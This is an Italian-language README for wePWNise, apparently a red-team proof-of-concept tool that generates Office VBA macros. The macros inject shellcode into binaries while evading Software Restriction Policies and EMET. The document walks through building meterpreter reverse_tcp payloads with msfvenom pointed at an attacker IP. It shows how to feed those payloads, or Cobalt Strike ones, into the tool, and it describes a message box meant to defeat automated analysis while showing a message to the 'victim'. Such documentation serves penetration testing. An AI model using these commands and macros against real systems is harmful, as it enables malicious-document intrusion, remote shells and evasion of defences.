
WePWNise genera codice VBA indipendente dall'architettura da utilizzare in documenti o modelli di Office e automatizza il bypass dei controlli applicativi e del software di mitigazione delle exploit.
wePWNise è uno script proof-of-concept in Python che genera codice VBA utilizzabile in macro o modelli di Office. È stato progettato con automazione e integrazione in mente, mirando a scenari di ambienti bloccati. Lo strumento enumera le Policy di Restrizione Software (SRP) e le mitigazioni EMET, e identifica dinamicamente binari sicuri in cui iniettare payload. wePWNise si integra con framework di exploit esistenti (es. Metasploit, Cobalt Strike) e accetta anche payload personalizzati in formato raw.
Per iniziare a usare wePWNise, dai prima un'occhiata alle opzioni che supporta:
usage: wepwnise.py [-h] -i86 <x86_shellcode> -i64 <x64_shellcode> [--inject64]
[--out <output_file>] [--msgbox] [--msg <window_message>]
optional arguments:
-h, --help mostra questo messaggio di aiuto ed esci
-i86 <x86_shellcode> Input x86 raw shellcode
-i64 <x64_shellcode> Input x64 raw shellcode
--inject64 Inietta in 64 Bit. Imposta a False quando si distribuiscono solo
payload x86. Default è True
--out <output_file> File in cui scrivere la macro VBA
--msgbox Mostra messagebox per prevenire analisi automatiche.
Default è True.
--msg <window_message>
Messaggio personalizzato da mostrare alla vittima se --msgbox è
impostato a True
wePWNise richiede payload raw sia a 32 che a 64 bit per poter fornire il tipo appropriato quando atterra su un target sconosciuto. Tuttavia, se si punta solo a un'architettura x86, deve essere fornito un payload dummy a 64 bit per sostituire il codice mancante.
Per sconfiggere alcune configurazioni di analisi automatiche, una message box si apre all'esecuzione del codice. Il testo della message box può essere modificato definendone il valore nel parametro --msg. Per disabilitare questa funzionalità, imposta il parametro --msgbox a False.
A causa di condizioni di performance che potrebbero essere introdotte da lunghe policy SRP/EMET, wePWNise legge due file di configurazione (binary-paths.txt e directory-paths.txt) che contengono una lista di eseguibili e directory con minore probabilità di essere monitorati, da controllare per primi. Modificando il contenuto di questi file l'utente può definire le proprie scelte invece. Se i file sono vuoti, wePWNise inizierà direttamente a leggere le policy SRP/EMET così come sono definite nel Registro di sistema e farà la sua scelta di iniezione basandosi puramente sulle informazioni recuperate.
Le sezioni seguenti descrivono alcuni esempi di utilizzo base di wePWNise.
Prima i payload per entrambe le architetture x86 e x64 in formato raw e assicurati che i listener di Metasploit siano configurati appropriatamente.
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -o /payloads/msf86.raw
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -a x86_64 -o /payloads/msf64.raw
Poi punta wePWNise ai payload generati e indirizza l'output a msf_wepwn.txt
$ wepwnise.py -i86 /payloads/msf86.raw -i64 /payloads/msf64.raw --out /payloads/msf_wepwn.txt
Per generare un payload raw in Cobalt Strike, naviga al seguente menu e dal menu a discesa Output seleziona il formato Raw. Ripeti il processo e spunta la casella x64 per produrre un payload a 64 bit.
Attacks > Packages > Payload Generator
Inserisci i payload generati in wePWNise per generare il codice VBA.
$ wepwnise.py -i86 /payloads/cs86.raw -i64 /payloads/cs64.raw --msgbox False --out /payloads/cs_wepwn.txt
In certi casi può succedere che sia disponibile solo un payload x86. Poiché wePWNise si aspetta sia un payload a 32 bit che a 64 bit, per disabilitare l'iniezione a 64 bit crea un file dummy a 64 bit e imposta il parametro --inject64 a False.
$ echo "+" > /payloads/dummy64.raw
$ wepwnise.py -i86 /payloads/custom.raw -i64 /payloads/dummy64.raw --inject64 False --out /payloads/wepwn86.txt
Allo stesso modo, per generare solo payload a 64 bit, crea un file dummy x86 e forniscilo nel parametro -i86 di wePWNise.
wePWNise è rilasciato sotto licenza BSD a 3 clausole e mantenuto da MWR InfoSecurity
Questo strumento è stato originariamente sviluppato da Vincent Yiu (@vysecurity).